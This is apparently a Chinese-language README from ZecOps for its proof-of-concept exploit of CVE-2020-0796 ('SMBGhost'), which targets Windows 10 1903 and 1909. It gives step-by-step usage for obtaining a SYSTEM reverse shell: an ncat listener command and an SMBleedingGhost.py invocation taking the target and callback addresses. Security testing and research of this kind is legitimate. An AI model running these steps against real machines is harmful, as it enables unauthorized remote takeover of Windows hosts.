(c) 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的失误
CVE-2020-0796 / "SMBGhost" 的远程代码执行 POC
预期结果:具有系统权限的反向 Shell。
仅供企业环境中教育和测试使用。
ZecOps 不对代码承担任何责任,使用风险自负。
如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣,以自动检测 SMBGhost 和其他类型的攻击,请联系 [email protected]。
确保已安装 Python 和 ncat。
在目标计算机上运行 calc_target_offsets.bat,并根据脚本输出调整 SMBleedingGhost.py 文件顶部的偏移量(另请参阅下面的注释)。
使用以下命令行参数运行 ncat:
ncat -lvp <port>
其中 <port> 是 ncat 将监听的端口号。
使用以下命令行参数运行 SMBleedingGhost.py:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
其中 <target_ip> 是目标易受攻击计算机的 IP 地址。<reverse_shell_ip> 和 <reverse_shell_port> 是 ncat 正在监听的 IP 地址和端口号。
如果一切顺利,ncat 将显示一个提供目标计算机系统访问权限的 Shell。
注意: 您可能想知道为什么有必要在目标计算机上运行 calc_target_offsets.bat 脚本,这是否违背了远程代码执行之所以为“远程”的初衷。这些偏移量不是随机的,在同一 Windows 版本的所有 Windows 实例上都是相同的。可以通过检测目标 Windows 版本并自动调整偏移量,或者完全不依赖这些偏移量来使攻击更具通用性,但这只是一个 POC,我们选择了更简单的做法。我们也认为 POC 不具有通用性是一件好事,因为它不便于除测试和教育之外的使用。

受影响的是 Windows 10 版本 1903 和 1909。由于 Windows 中的空指针解引用错误(已在 KB4512941 中修复),不支持未打补丁的 Windows 10 1903 版本。
由于利用方式的特殊性,该 POC 最适合在具有单个逻辑处理器的计算机(或虚拟机)上运行的目标。在 VirtualBox 中运行且具有多个逻辑处理器的目标也应受支持,但在这种情况下 POC 的可靠性较低。其他目标可能不受支持。有关详细信息,请参阅下面的技术文章。